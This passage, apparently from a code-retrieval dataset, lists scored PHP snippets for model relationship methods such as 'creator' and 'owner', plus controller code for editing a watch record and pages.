"db9f2203fdbdf006c32fb7740f00440f", "score": "0.73791426", "text": "public function creator()\n {\n return $this->belongsTo(User::class, 'user_id');\n }", "title": "" }, { "docid": "db9f2203fdbdf006c32fb7740f00440f", "score": "0.73791426", "text": "public function creator()\n {\n return $this->belongsTo(User::class, 'user_id');\n }", "title": "" }, { "docid": "24b3fdbfe04dfcb49c88a0fad8d744c5", "score": "0.7364235", "text": "public function creator()\n {\n return $this->belongsTo( 'User', 'user_id');\n }", "title": "" }, { "docid": "bdf744b919c7e7ba03e790a86d518416", "score": "0.73460144", "text": "public function creator()\n {\n return $this->belongsTo('App\\User');\n }", "title": "" }, { "docid": "99ce725732a8acaf5585d7c321e93549", "score": "0.73311555", "text": "public function owner()\n {\n return $this->belongsTo('App\\User', 'created_by');\n }", "title": "" }, { "docid": "d8b780b6d1e7e6cdd520bd1f5b840082", "score": "0.7306127", "text": "public function creator(): BelongsTo\n {\n return $this->belongsTo(User::class);\n }", "title": "" }, { "docid": "08f13e12604f803c578da0a8ca407c9f", "score": "0.7276657", "text": "public function creator(){\n return $this->belongsTo(User::class,'created_by');\n }", "title": "" }, { "docid": "08f13e12604f803c578da0a8ca407c9f", "score": "0.7276657", "text": "public function creator(){\n return $this->belongsTo(User::class,'created_by');\n }", "title": "" }, { "docid": "2ec44dbbea1659676f5a53bf27fe442f", "score": "0.7159671", "text": "public function owner(): BelongsTo\n {\n return $this->belongsTo(User::class, 'created_by');\n }", "title": "" }, { "docid": "a42f898d8908b680b9a8f90c6508e4f5", "score": "0.7111732", "text": "public function getCreatedBy()\n {\n return $this->hasOne(Tutor::className(), ['id' => 'created_by']);\n }", "title": "" }, { "docid": "e4a275b4a87410f2523fc0eb1e2cb5d5", "score": "0.70851964", "text": "public function isCreator()\r\n {\r\n return $this->getStatus() == 'creator';\r\n }", "title": "" }, { "docid": "18207b4d66070dab62b3bde63ef590e1", "score": "0.70436525", "text": "public function owner()\n {\n return $this->belongsTo('Kolab\\User', 'owner_id');\n }", "title": "" }, { "docid": "64ba4847fc542ff785f13e9721181b92", "score": "0.70323336", "text": "public function testCreatorRelationshipReturnsCreator()\n {\n $pageDraft = factory('App\\Models\\PageDraft')->create();\n\n $this->assertTrue($pageDraft->creator instanceof User);\n }", "title": "" }, { "docid": "3fcdc2978b48dca81a51df55ab6340b3", "score": "0.70119286", "text": "public function getCreatedBy()\r\n {\r\n return $this->hasOne(User::className(), ['id' => 'created_by']);\r\n }", "title": "" }, { "docid": "8e76e5ff8b85fd2d026dfccb3e8a2c75", "score": "0.69616306", "text": "public function owner(){\n return $this -> belongsTo('App\\Models\\User','owner_id','id');\n }", "title": "" }, { "docid": "ab6cb7d8cdc5fc6b4366e37b23caf40f", "score": "0.69464046", "text": "public function owner()\n {\n return $this->hasOne('App\\Model\\SupplyUserInfo','id', 'created_id');\n }", "title": "" }, { "docid": "3bf30819fad4c907363b6ddcb27985b9", "score": "0.69436246", "text": "public function owner()\n\t{\n\t\treturn $this->belongsTo(User::class, 'user');\n\t}", "title": "" }, { "docid": "b068a584289ac7df9eb8ce7561d17844", "score": "0.69378847", "text": "public function testCreatorRelationshipReturnsCreator()\n {\n $page = factory('App\\Models\\Page')->create();\n $this->assertTrue($page->creator instanceof User);\n }", "title": "" }, { "docid": "e6cc7b8ff34c23585ee967749a687eb0", "score": "0.6918508", "text": "public function owner()\n {\n return $this->hasOne(\\App\\Model\\User::class, 'id', 'owner_id');\n }", "title": "" }, { "docid": "411b1d1c20852dab933b2560ef8fb684", "score": "0.68999183", "text": "public function getCreatedBy()\n {\n return $this->hasOne(User::className(), ['id' => 'created_by']);\n }", "title": "" }, { "docid": "411b1d1c20852dab933b2560ef8fb684", "score": "0.68999183", "text": "public function getCreatedBy()\n {\n return $this->hasOne(User::className(), ['id' => 'created_by']);\n }", "title": "" }, { "docid": "411b1d1c20852dab933b2560ef8fb684", "score": "0.68999183", "text": "public function getCreatedBy()\n {\n return $this->hasOne(User::className(), ['id' => 'created_by']);\n }", "title": "" }, { "docid": "fd9756537e9c646ffb870edb7c614f9c", "score": "0.6879136", "text": "public function createdBy()\n\t{\n\t\treturn $this->belongsTo(Config::get('auth.model'),'created_by');\n\t}", "title": "" }, { "docid": "f3ceeb7a4b00138fdc76fa5da5586dda", "score": "0.6867241", "text": "public function owner()\n {\n return $this->belongsTo('App\\Models\\User', 'owner_id');\n }", "title": "" }, { "docid": "4b690dd7fa3793e2f130390f98eb9045", "score": "0.68591374", "text": "public function owner()\n {\n return $this->belongsTo(User::class, 'owner_id');\n }", "title": "" }, { "docid": "da9f08d7bb5dfd0f468966f37294f604", "score": "0.685817", "text": "public function owner() {\n return $this->belongsTo(User::class);\n }", "title": "" }, { "docid": "da9f08d7bb5dfd0f468966f37294f604", "score": "0.685817", "text": "public function owner() {\n return $this->belongsTo(User::class);\n }", "title": "" }, { "docid": "658ad00b5158ddd153cb3e3f9dc8b55e", "score": "0.6845571", "text": "public function getCreatedBy()\n {\n return $this->hasOne(Users::className(), ['id' => 'created_by']);\n }", "title": "" }, { "docid": "e6f789876da1e1952fbe45e542e4eaef", "score": "0.68445426", "text": "public function owner()\n {\n return $this->hasOne('App\\User', 'id', 'user_id');\n }", "title": "" }, { "docid": "0c6b9fb47bcf1350d285444c02dde2e1", "score": "0.6841441", "text": "public function owner()\n {\n return $this->belongsTo(User::class, 'owner_id', 'id');\n }", "title": "" }, { "docid": "b86a34b3b2e595725c7d98fdea025c8f", "score": "0.6826098", "text": "public function owner()\n {\n return $this->belongsTo(User::class);\n }", "title": "" }, { "docid": "b86a34b3b2e595725c7d98fdea025c8f", "score": "0.6826098", "text": "public function owner()\n {\n return $this->belongsTo(User::class);\n }", "title": "" }, { "docid": "b86a34b3b2e595725c7d98fdea025c8f", "score": "0.6826098", "text": "public function owner()\n {\n return $this->belongsTo(User::class);\n }", "title": "" }, { "docid": "da4b26e5e9aa93ecbadf5ef666cb280b", "score": "0.682592", "text": "public function creator()\n {\n return $this->belongsTo(User::class, 'created_by')->select(['id', 'first_name', 'last_name']);\n }", "title": "" }, { "docid": "187e10f9cf430e2d47e38d8363be92c3", "score": "0.6802005", "text": "public function owner()\n {\n return $this->belongsTo(User::class, 'user_id');\n }", "title": "" }, { "docid": "187e10f9cf430e2d47e38d8363be92c3", "score": "0.6802005", "text": "public function owner()\n {\n return $this->belongsTo(User::class, 'user_id');\n }", "title": "" }, { "docid": "187e10f9cf430e2d47e38d8363be92c3", "score": "0.6802005", "text": "public function owner()\n {\n return $this->belongsTo(User::class, 'user_id');\n }", "title": "" }, { "docid": "3a4315d5c29b1c395ea63e5448531ff3", "score": "0.67642045", "text": "public function getIsAuthor()\r {\r $createdByAttribute = $this->createdByAttribute;\r if ($createdByAttribute === false) {\r return false;\r }\r return Yii::$app->user->identity->id === $this->user_id;\r }", "title": "" }, { "docid": "31853d0b8611e02bf683d5699a840b08", "score": "0.6746515", "text": "public function owner()\n {\n return $this->belongsTo('TypiCMS\\Modules\\Objects\\Models\\Object', 'object_id');\n }", "title": "" }, { "docid": "a4d363a5df777e0c5272d078960757de", "score": "0.67332727", "text": "public function owner()\n {\n $model = config('cashier_openpay.model');\n\n return $this->belongsTo($model, (new $model)->getForeignKey());\n }", "title": "" }, { "docid": "a04b292e1ece6d0200e0b050b921d3df", "score": "0.67224526", "text": "public function owner()\n {\n return $this->belongsTo(User::class, 'owner_id')->withTrashed();\n }", "title": "" }, { "docid": "ca2ce544743c12300a32b00a002849ca", "score": "0.66831875", "text": "public function owner(){\n return $this->belongsTo(User::class, 'user_id');\n }", "title": "" }, { "docid": "73d2beaffd76af510514d8abe6123651", "score": "0.6669756", "text": "public function owner()\n {\n return $this->belongsTo(User::class, 'user_id', 'id')->withTrashed();\n }", "title": "" }, { "docid": "d6af2da04c6fa1f575f60f9cfbcf0b36", "score": "0.6667426", "text": "public function createdBy()\n\t{\n\t\treturn $this->hasOne('App\\User', 'id', 'created_by');\n\t}", "title": "" }, { "docid": "84a26b09138c3156c16bc192ad8725ca", "score": "0.6659129", "text": "public function hasOwner(){\r\n return $this->_has(4);\r\n }", "title": "" }, { "docid": "0f6c26a097fb8430b33403c068f113f3", "score": "0.66581887", "text": "public function createdBy()\n {\n return $this->belongsTo(config('auth.providers.users.model'), 'created_by');\n }", "title": "" }, { "docid": "eaef939e588d214aaa4f58e8b74836f8", "score": "0.6656275", "text": "public function createdby(){\n return $this->hasOne(User::class,'id','created_by_id');\n }", "title": "" }, { "docid": "a440a8048fdf4738886ced5711686159", "score": "0.664227", "text": "public function hasCreatedBy(){\n return $this->_has(6);\n }", "title": "" }, { "docid": "2ee7bc7935c24153eeba5b3d3e551d90", "score": "0.6629342", "text": "public function getCreatedBy()\n {\n return $this->belongsTo('App\\User', 'created_by');\n }", "title": "" }, { "docid": "f413398d37fc2e45146754ad3a275443", "score": "0.66122735", "text": "public function created_by()\n {\n return $this->belongsTo(\\Hydrofon\\User::class);\n }", "title": "" }, { "docid": "d5861ea48f1c3850d3b2255deb5d100d", "score": "0.66036135", "text": "public function getCreatedBy0()\n {\n return $this->hasOne(User::className(), ['id' => 'createdBy']);\n }", "title": "" }, { "docid": "d5861ea48f1c3850d3b2255deb5d100d", "score": "0.66036135", "text": "public function getCreatedBy0()\n {\n return $this->hasOne(User::className(), ['id' => 'createdBy']);\n }", "title": "" }, { "docid": "d5861ea48f1c3850d3b2255deb5d100d", "score": "0.66036135", "text": "public function getCreatedBy0()\n {\n return $this->hasOne(User::className(), ['id' => 'createdBy']);\n }", "title": "" }, { "docid": "79a1fffb0d63d468845c357c31c11875", "score": "0.6595791", "text": "public function createdBy()\n {\n return $this->morphTo('created_by');\n }", "title": "" }, { "docid": "581248de21c9d59974ce597cc813fa71", "score": "0.6586939", "text": "public function getCreator()\n {\n return $this->creator;\n }", "title": "" }, { "docid": "581248de21c9d59974ce597cc813fa71", "score": "0.6586939", "text": "public function getCreator()\n {\n return $this->creator;\n }", "title": "" }, { "docid": "581248de21c9d59974ce597cc813fa71", "score": "0.6586939", "text": "public function getCreator()\n {\n return $this->creator;\n }", "title": "" }, { "docid": "4bb8d36788bda37caa887c30977f8647", "score": "0.6578468", "text": "public function hasOwner();", "title": "" }, { "docid": "416b0f26177a586b3c5a397b6659f013", "score": "0.6578465", "text": "public function isOwner()\n {\n return $this->user_id == auth()->user()->id;\n }", "title": "" }, { "docid": "fb223fcb6a48ae9bb009cff549e52b82", "score": "0.6571932", "text": "function isOwner() {\n return $this->isManager();\n }", "title": "" }, { "docid": "cbd47ac3f157c533f20ad74db00be2b4", "score": "0.6570625", "text": "public function creator()\n {\n return $this->morphTo();\n }", "title": "" }, { "docid": "7602d91ce6924a9a41d9f420fe06b615", "score": "0.6569768", "text": "public function getCreatedBy()\n {\n return $this->hasOne(User::class, ['id' => 'created_by_id']);\n }", "title": "" }, { "docid": "4f278fd0766f25f903e29e1e35ca32a9", "score": "0.655284", "text": "public function owner()\n {\n return $this->belongsTo(User::class, 'tester_id');\n }", "title": "" }, { "docid": "5f1238b81a5fa3b4c5e1f250b5240c49", "score": "0.6544013", "text": "public function createdBy()\n {\n // return $this->belongsTo('App\\User', 'created_by_id');\n return $this->belongsTo('App\\User', 'created_by_id');\n }", "title": "" }, { "docid": "9e6867d584d856d907c975aa62879225", "score": "0.6543573", "text": "public function getCreatedBy()\n {\n return $this->hasOne(User::class, ['id' => 'created_by']);\n }", "title": "" }, { "docid": "3f60c775e14eb699c8d07470e73fc031", "score": "0.65426147", "text": "public function owner(): BelongsTo\n {\n return $this->belongsTo(User::class);\n }", "title": "" }, { "docid": "a2d21630065d7d162a8dcdb80026c581", "score": "0.65400153", "text": "public function createdBy()\n {\n return $this->belongsTo(User::class, $this->getCreatedByColumn(), 'id');\n }", "title": "" }, { "docid": "41c81fc938f4e7ec512737c71e9c22a7", "score": "0.65398824", "text": "public function createdByMe(): bool\n {\n return $this->user_id === auth()->user()->getKey();\n }", "title": "" }, { "docid": "7b0b29e1f340b4c3d45d616004fe7f67", "score": "0.6529587", "text": "public function getOwner()\n {\n return $this->hasOne(User::class, ['id' => 'owner_id']);\n }", "title": "" }, { "docid": "86e949c89aaf6276bf958e4a31fd1180", "score": "0.65089995", "text": "public function userCreation()\n {\n return $this->belongsTo('App\\User', 'created_by_id');\n }", "title": "" }, { "docid": "2796305b21314f02ed0f0c8996f8fabd", "score": "0.65059656", "text": "public function hasOwnerid(){\n return $this->_has(1);\n }", "title": "" }, { "docid": "f289f99e669e29c77c17830ef50e7366", "score": "0.6502635", "text": "public function getCreator() {\n\t\treturn $this->creator;\n\t}", "title": "" }, { "docid": "302e2109b5272f107e9cf21e7b795dc8", "score": "0.649081", "text": "public function test_it_has_an_owner()\n {\n $reply = factory(Reply::class)->create();\n $this->assertInstanceOf(User::class, $reply->owner);\n }", "title": "" }, { "docid": "ab7b2b5abb205e966a1edf8d53bb5af9", "score": "0.64850223", "text": "public function createdby() {\n \n \treturn $this->belongsTo('User','added_by','id');\n }", "title": "" }, { "docid": "eb8d67211b40e6851afcbbaa4db5d2e5", "score": "0.6483275", "text": "public function owner()\n {\n return $this->belongsTo('TypiCMS\\Modules\\Projects\\Models\\Project', 'project_id');\n }", "title": "" }, { "docid": "a810cd4c48fa28eeb34d0c72ea2b0be5", "score": "0.6476933", "text": "public function createdbyuser() {\n # Define an inverse one-to-many relationship.\n return $this->belongsTo('\\teambernieny\\User');\n }", "title": "" } ]
f7300d093351cd784a3a7ea166b3ea07
Serves the edit watch page TODO: Is there a clean way to separate serving page functions and processing inputs functions ? TODO: A watch controller start to makes sense to separate things.
[ { "docid": "f1cf6e4c0a1b363ec80a9e22b493fc73", "score": "0.7130392", "text": "public function edit_watch_p(){\r\n\r\n\t\tif($this->expectsPost(array('watchId'))){\r\n\r\n\t\t\t$watch = $this->watch->getWatch($this->watchId);\r\n\r\n\t\t\tif($watch && $watch->userId == $this->session->userdata('userId')){\r\n\r\n\t\t\t\tarray_push($this->_headerData['javaScripts'],\r\n\t\t\t\t\t\"jquery.easy-autocomplete.min\", \"watch.autocomplete\");\r\n\r\n\t\t\t\tarray_push($this->_headerData['styleSheets'],\r\n\t\t\t\t\t\"easy-autocomplete.min\",\r\n\t\t\t\t\t\"easy-autocomplete.themes.min\"\r\n\t\t\t\t);\r\n\r\n\t\t\t\t$this->_headerData['headerClass'] = 'blue';\r\n\t\t\t\t$this->load->view('header', $this->_headerData);\r\n\t\t\t\t$this->load->view('measure/edit-watch', $watch);\r\n\t\t\t\t$this->load->view('footer');\r\n\t\t\t}\r\n\t\t}\r\n\t}", "title": "" } ]
[ { "docid": "a565794b485db1c1acfbb1e0923c3386", "score": "0.67133665", "text": "public function doEditPage() {\n $filterTemplate = array(\n \"id\" => FILTER_VALIDATE_INT,\n \"entity\" => FILTER_SANITIZE_STRING,\n );\n\n $filteredData = filter_input_array(INPUT_GET, $filterTemplate);\n if($filteredData['id'] && $filteredData['entity']) {\n $entityController = Controllers\\ControllerFactory::genController($filteredData['entity']);\n $targetEntity = $entityController->getSpecific($_GET['id']);\n if($targetEntity->getId() == $_GET['id']) {\n $this->view->show($filteredData['entity'].'s/edit'.ucfirst($filteredData['entity']).'.php', $targetEntity);\n } else {\n header(\"Location: index.php?notFound&entity={$filteredData['entity']}\");\n }\n }\n }", "title": "" }, { "docid": "7c5d729835e1563edb68e5101fc6ade7", "score": "0.655034", "text": "public function edit_watch(){\r\n\t\tif($this->expectsPost(array('watchId','brand', 'name', 'yearOfBuy',\r\n\t\t\t'serial', 'caliber'))){\r\n\r\n\t\t\tif ($this->watch->editWatch($this->session->userdata('userId'),\r\n\t\t\t\t\t\t$this->watchId,\r\n\t\t\t\t\t\t$this->brand, $this->name,\r\n\t\t\t\t\t\t$this->yearOfBuy, $this->serial,\r\n\t\t\t\t\t\t$this->caliber)) {\r\n\r\n\t\t\t\t$this->_bodyData['success'] = 'Watch successfully updated!';\r\n\r\n\t\t\t}\r\n\r\n\t\t\t$this->constructMeasurePage();\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "70fe19b9a43c9d20917fcd4dadd618c7", "score": "0.6400579", "text": "protected function handlePageEditing() {}", "title": "" }, { "docid": "508a3048f34e6ddaffe68955a8dcc613", "score": "0.61237913", "text": "public function editAction() {\n# process the edit form.\n# check the post data and filter it.\n\t\tif(isset($_POST['cancel'])) {\n\t\t\tAPI::Redirect(API::printUrl($this->_redirect));\n\t\t}\n\t\t$input_check = $this->_model->check_input($_POST);\n\t\tif(is_array($input_check)) {\n\t\t\tAPI::Error($input_check);\n\t\t\tAPI::redirect(API::printUrl($this->_redirect));\n\t\t}\n\t\t// all hooks will stack their errors onto the API::Error stack\n\t\t// but WILL NOT redirect.\n\t\tAPI::callHooks(self::$module, 'validate', 'controller', $_POST);\n\t\tif(API::hasErrors()) {\n\t\t\tAPI::redirect(API::printUrl($this->_redirect));\n\t\t}\n\n\t\t$this->_model->set_data($_POST);\n\n\t\t// auto call the hooks for this module/action\n\t\tAPI::callHooks(self::$module, 'save', 'controller');\n\n\t\tAPI::redirect(API::printUrl($this->_redirect));\n\n\n\t}", "title": "" }, { "docid": "99f11f47ea357eb113ee7abe2bac09a4", "score": "0.6117237", "text": "public function editAction() {}", "title": "" }, { "docid": "ca137924a2219701ca10f64cf7a59c16", "score": "0.61101866", "text": "function lb_show_edit_page_action() {\n\tlb_show_templates(\n\t\tarray(\n\t\t\t'name' => 'edit',\n\t\t\t'this_cafe' => lb_get_this_cafe_from_cafe( $_GET['edit-id'] ),\n\t\t)\n\t);\n}", "title": "" }, { "docid": "df567b2b578ba8d8899a28c5f72e926a", "score": "0.6097159", "text": "public function editAction() {\n $this->init( __FUNCTION__ );\n\n try {\n if( !$this->isAuthentified() )\n NavigationManagement::redirect( DOMAIN . 'error/403/' );\n\n if( !$this->getModAuth()->getUser()->can( 'edit_pages' ) )\n NavigationManagement::redirect( DOMAIN . 'error/403/' );\n\n $this->getView()->sitename = _( 'Edit page' );\n\n $this->render( FALSE, 'Admin' . DS . $this->getAction(), 'Admin' . DS . 'main' );\n } catch( KernelException $e ) {\n throw $e;\n } catch( Exception $e ) {\n throw new KernelException( 'Can not render the <strong>' . $this->getAction() . '</strong> view in <strong>' . $this->getController() . '</strong>', $e->getCode(), $e );\n }\n }", "title": "" }, { "docid": "78610b90a7e423ca6bd17baaf470aee6", "score": "0.60529464", "text": "protected function changeRequest(){\n\t\t\n\t\t//If the user is logged in\n\t\tif($this->getModel()->checkLogin(true))\n\t\t{\n\t\t\t// Set the state and tell plugins.\n\t\t\t$this->setState('CHANGE_REQUEST');\n\t\t\t$this->notifyObservers();\n\t\t\t\n\t\t\t//If no data has been submitted\n\t\t\tif($this->getModel()->getInputString(\"template\", null, \"P\")==null)\n\t\t\t{\n\t\t\t\t//Get the page content request\n\t\t\t\t$active = $this->getModel()->getCurrentTemplate();\n\t\t\t\t\n\t\t\t\t//Get all available templates\n\t\t\t\t$all = $this->getModel()->getAllTemplates();\n\t\t\t\t\n\t\t\t\t//Create an editor for data\n\t\t\t\t$this->getView()->createTable($active, $all);\n\t\t\t}\n\t\t\t//Data has been submitted to be processed\n\t\t\telse\n\t\t\t{\n\t\t\t\t//Save data\n\t\t\t\t$this->getModel()->saveTemplateData();\n\t\t\t\t\n\t\t\t\t//Redirect\n\t\t\t\t$this->getView()->setTemplateRedirect();\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "993ec48b05f84a94a2a0a460cccbede3", "score": "0.6006188", "text": "public function editAction() {\n\t\t$this->loadLayout(); \n\t\t$this->renderLayout();\n\t}", "title": "" }, { "docid": "449b25cf0b4bbb0885db61c45e7ca145", "score": "0.59502757", "text": "public function executeEdit(sfWebRequest $request) {\n $this->forward404();\n }", "title": "" }, { "docid": "cf0a40d4457e80ae6800e46ba4b66c27", "score": "0.59360725", "text": "public function edit_action() {\n Utils\\verifyPermission($this->edit_permission);\n $this->actionHeader();\n $this->addScript('jquery.autosize-min.js');\n $this->addScript('vendor/jquery.ui.widget.js');\n $this->addScript('jquery.iframe-transport.js');\n $this->addScript('jquery.fileupload.js');\n $this->addScript('ckeditor/ckeditor.js');\n $this->renderBodyTemplate('edit');\n }", "title": "" }, { "docid": "e94f55a4e8572004b780a74531c80c1f", "score": "0.59232074", "text": "public function EditPage() {\n\t// Standard preparations\n\t$this->PrepareController();\n\t//$this->AddCssFile(\"/applications/fancypages/design/editor.css\");\n\n\t// Check permissions\n\t$Session = Gdn::Session();\n\t$permissions = $Session->User->Permissions;\n\t$this->admin = preg_match('/Garden.Settings.Manage/', $permissions);\n\n\tif ($this->admin) {\n\n\t // This tells the view file that we are editing a page,\n\t // not creating a new one; since the view is shared.\n\t $this->Action = 'edit';\n\n\t //@TODO: Add option to diable tiny mce in the control panel\n\t if (!C('FancyPages.TinyMCE.Disable')) {\n\t\t$this->UseEditor = TRUE;\n\t }\n\n\t // Get the referenced page ID\n\t $Page = GetValue(0, $this->RequestArgs, \"\");\n\n\t // Get data for referenced page\n\t $this->_PageData = $this->InfoPagesModel->GetBySlug($Page);\n\t $PD = $this->_PageData;\n\t \n\t // The slug is the uri name you give the page on creation.\n\t // It is also the name of the php file the html is stored in.\n\t $this->ViewPath = PATH_GEN . DS . $PD->Slug . '.php';\n\t $FileContents = $this->_ReadPage($PD->PageID);\n\t \n\t // Set form model\n\t $this->Form->SetModel($this->InfoPagesModel);\n\t \n\t // Add the hidden fields, otherwise it will not save properly.\n\t $this->Form->AddHidden('Type', $PD->Type);\n\t $this->Form->AddHidden('RelatedID', $PD->RelatedID);\n\t $this->Form->AddHidden('PageID', $PD->PageID);\n\t \n\t // Set form data\n\t $this->Form->SetData($PD);\n\t \n\t // Inject the HTML into the form, since it is not stored in the DB\n\t $this->Form->SetValue(\"HTML\", $FileContents);\n\n\t if ($this->Form->AuthenticatedPostBack() === FALSE) {\n\t\t\n\t } else {\n\t\t// Get the form values to be checked and modified before saving\n\t\t$FormValues = $this->Form->FormValues();\n\t\t$HTML = $FormValues['HTML'];\n\t\t$Slug = $FormValues['Slug'];\n\t\t// Make sure the slug doesn't contain spaces\n\t\t$SlugChecked = strtolower(str_replace(\" \", \"\", $Slug));\n\t\t$this->Form->SetFormValue('Slug', $SlugChecked);\n\t\t// Get the HTML from the form and generate a file\n\t\t$this->_GeneratePage($HTML, $SlugChecked);\n\t\t// Set the form value to empty, so that the data is not stored\n\t\t// in the DB\n\t\t$this->Form->SetFormValue(\"HTML\", \"\");\n\t\t\n\t\t// Save the form\n\t\tif ($this->Form->Save() !== FALSE) {\n\t\t $this->StatusMessage = T(\"Your settings have been saved.\");\n\t\t // Redirect to view changes\n\t\t Redirect('/info/' . $SlugChecked);\n\t\t} else {\n\t\t $this->StatusMessage = T(\"Oops, changes not saved\");\n\t\t}\n\t }\n\n\t $this->View = 'add';\n\t $this->AddSideMenu('/fancypages/settings/editpage');\n\t $this->Title(T('Edit a Current Page'));\n\t $this->Render();\n\t}\n }", "title": "" }, { "docid": "8de910637369ad412f54a6e6c0d94f64", "score": "0.59112424", "text": "private function fronteEnd() {\n\n /**\n * shorten resource_type and resource_id (for easy appending in blade templates - action url's)\n * [usage]\n * replace the usual url('milestone/edit/etc') with urlResource('milestone/edit/etc'), in blade templated\n * usually in the ajax.blade.php files (actions links)\n * */\n request()->merge([\n 'resource_query' => 'ref=list&milestoneresource_type=' . request('milestoneresource_type') . '&milestoneresource_id=' . request('milestoneresource_id'),\n 'filter_milestone_projectid' => request('milestoneresource_id'),\n ]);\n\n }", "title": "" }, { "docid": "05b4bfdbd584864a273cef48b13c7ae0", "score": "0.5909353", "text": "public function edit(Watchlist $watchlist)\n {\n //\n }", "title": "" }, { "docid": "edcd2b3939da55b1800d4cbea2d8e033", "score": "0.5904272", "text": "public function editAction() {\n\t\t$id = $this->getInput('id');\n\t\t$info = Browser_Service_Recsite::getRecsite(intval($id));\t\t\n\t\t$this->assign('info', $info);\n\t\t$this->assign('models', $this->models);\n\t\t$this->assign('types', $this->types);\n\t}", "title": "" }, { "docid": "e4c229724dfc9ba7e129e6ddb4bd46e5", "score": "0.5903618", "text": "public function editAction()\n {}", "title": "" }, { "docid": "9291ba23f377df7a14864f46c1c31d37", "score": "0.58798975", "text": "public static function handleRequest()\n\t{\n\t\t// Load language strings\n\t\tself::loadLanguage();\n\n\t\t// Load the controller and let it run the show\n\t\trequire_once dirname(__FILE__).'/classes/controller.php';\n\t\t$controller = new LiveUpdateController();\n\t\t$controller->execute(JRequest::getCmd('task','overview'));\n\t\t$controller->redirect();\n\t}", "title": "" }, { "docid": "c3715d7e82f10d7b8b56e83764cf4aa8", "score": "0.5859115", "text": "public function editAction() {\n\n //GET VIEWER\n $viewer = Engine_Api::_()->user()->getViewer();\n $viewer_id = $viewer->getIdentity();\n\n //GET SITEREVIEW SUBJECT\n $this->view->sitereview = $sitereview = Engine_Api::_()->core()->getSubject();\n\n $this->view->listingtype_id = $listingtype_id = $this->_listingType->listingtype_id;\n\n $this->view->slideShowEnanle = $this->slideShowEnable($listingtype_id);\n\n $this->view->listing_singular_uc = ucfirst($this->_listingType->title_singular);\n $this->view->listing_singular_lc = strtolower($this->_listingType->title_singular);\n\n //AUTHORIZATION CHECK\n if (!$this->_helper->requireAuth()->setAuthParams($sitereview, $viewer, \"edit_listtype_$listingtype_id\")->isValid()) {\n return;\n }\n\n $this->view->content_id = Engine_Api::_()->sitereview()->getTabId($listingtype_id, 'sitereview.video-sitereview');\n\n //SELECTED TAB\n $this->view->TabActive = \"video\";\n\n if (!Engine_API::_()->seaocore()->checkSitemobileMode('fullsite-mode')) {\n $this->_helper->content\n ->setContentName(\"sitereview_videoedit_edit_listtype_$listingtype_id\")\n //->setNoRender()\n ->setEnabled();\n }\n\n //GET VIDEOS\n $this->view->type_video = $type_video = Engine_Api::_()->getApi('settings', 'core')->getSetting('sitereview.show.video');\n\n if ($type_video && isset($sitereview->main_video['corevideo_id'])) {\n $this->view->main_video_id = $sitereview->main_video['corevideo_id'];\n } elseif (isset($sitereview->main_video['reviewvideo_id'])) {\n $this->view->main_video_id = $sitereview->main_video['reviewvideo_id'];\n }\n\n $this->view->videos = $videos = array();\n $this->view->integratedWithVideo = false;\n $sitevideoEnabled = Engine_Api::_()->getDbtable('modules', 'core')->isModuleEnabled('sitevideo');\n if ($sitevideoEnabled && (Engine_Api::_()->getDbtable('modules', 'sitevideo')->getIntegratedModules(array('enabled' => 1, 'item_type' => \"sitereview_listing_$sitereview->listingtype_id\", 'item_module' => 'sitereview')))) {\n $params = array();\n $params['parent_type'] = $sitereview->getType() . '_' . $sitereview->listingtype_id;\n $params['parent_id'] = $sitereview->listing_id;\n $this->view->videos = $videos = Engine_Api::_()->getDbTable('videos', 'sitevideo')->getVideoPaginator($params);\n $this->view->integratedWithVideo = true;\n } else {\n if (Engine_Api::_()->sitereview()->enableVideoPlugin() && !empty($type_video)) {\n $this->view->videos = $videos = Engine_Api::_()->getItemTable('sitereview_clasfvideo', 'sitereview')->getListingVideos($sitereview->listing_id, 0, 1);\n } elseif (empty($type_video)) {\n $this->view->videos = $videos = Engine_Api::_()->getItemTable('sitereview_clasfvideo', 'sitereview')->getListingVideos($sitereview->listing_id, 0, 0);\n }\n }\n\n $allowed_upload_video = Engine_Api::_()->sitereview()->allowVideo($sitereview, $viewer, count($videos), $uploadVideo = 1);\n $this->view->upload_video = 1;\n if (Engine_Api::_()->sitereview()->hasPackageEnable()) {\n $this->view->upload_video = $allowed_upload_video;\n } else {\n if (empty($allowed_upload_video)) {\n return $this->_forwardCustom('requireauth', 'error', 'core');\n }\n }\n\n $this->view->count = count($videos);\n\n //MAKE FORM\n $this->view->form = $form = new Sitereview_Form_Video_Editvideo();\n\n foreach ($videos as $video) {\n\n $subform = new Sitereview_Form_Video_Edit(array('elementsBelongTo' => $video->getGuid()));\n\n if ($video->status != 1) {\n if ($video->status == 0 || $video->status == 2):\n $msg = $this->view->translate(\"Your video is currently being processed - you will be notified when it is ready to be viewed.\");\n elseif ($video->status == 3):\n $msg = $this->view->translate(\"Video conversion failed. Please try again.\");\n elseif ($video->status == 4):\n $msg = $this->view->translate(\"Video conversion failed. Video format is not supported by FFMPEG. Please try again.\");\n elseif ($video->status == 5):\n $msg = $this->view->translate(\"Video conversion failed. Audio files are not supported. Please try again.\");\n elseif ($video->status == 7):\n $msg = $this->view->translate(\"Video conversion failed. You may be over the site upload limit. Try a smaller file, or delete some files to free up space.\");\n endif;\n\n $subform->addElement('dummy', 'mssg' . $video->video_id, array(\n 'description' => $msg,\n 'decorators' => array(\n 'ViewHelper',\n array('HtmlTag', array('tag' => 'div', 'class' => 'tip')),\n array('Description', array('tag' => 'span', 'placement' => 'APPEND')),\n array('Description', array('placement' => 'APPEND')),\n ),\n ));\n $t = 'mssg' . $video->video_id;\n $subform->$t->getDecorator(\"Description\")->setOption(\"placement\", \"append\");\n }\n $subform->populate($video->toArray());\n $form->addSubForm($subform, $video->getGuid());\n }\n\n //CHECK METHOD\n if (!$this->getRequest()->isPost()) {\n return;\n }\n\n //FORM VALIDATION\n if (!$form->isValid($this->getRequest()->getPost())) {\n return;\n }\n\n //GET FORM VALUES\n $values = $form->getValues();\n\n if (isset($_POST['corevideo_cover']) && !empty($_POST['corevideo_cover'])) {\n if (isset($sitereview->main_video) && !empty($sitereview->main_video)) {\n $sitereview->main_video = array_merge((array) $sitereview->main_video, array('corevideo_id' => $_POST['corevideo_cover']));\n } else {\n $sitereview->main_video = array('corevideo_id' => $_POST['corevideo_cover']);\n }\n } elseif (isset($_POST['reviewvideo_cover']) && $_POST['reviewvideo_cover']) {\n if (isset($sitereview->main_video) && !empty($sitereview->main_video)) {\n $sitereview->main_video = array_merge((array) $sitereview->main_video, 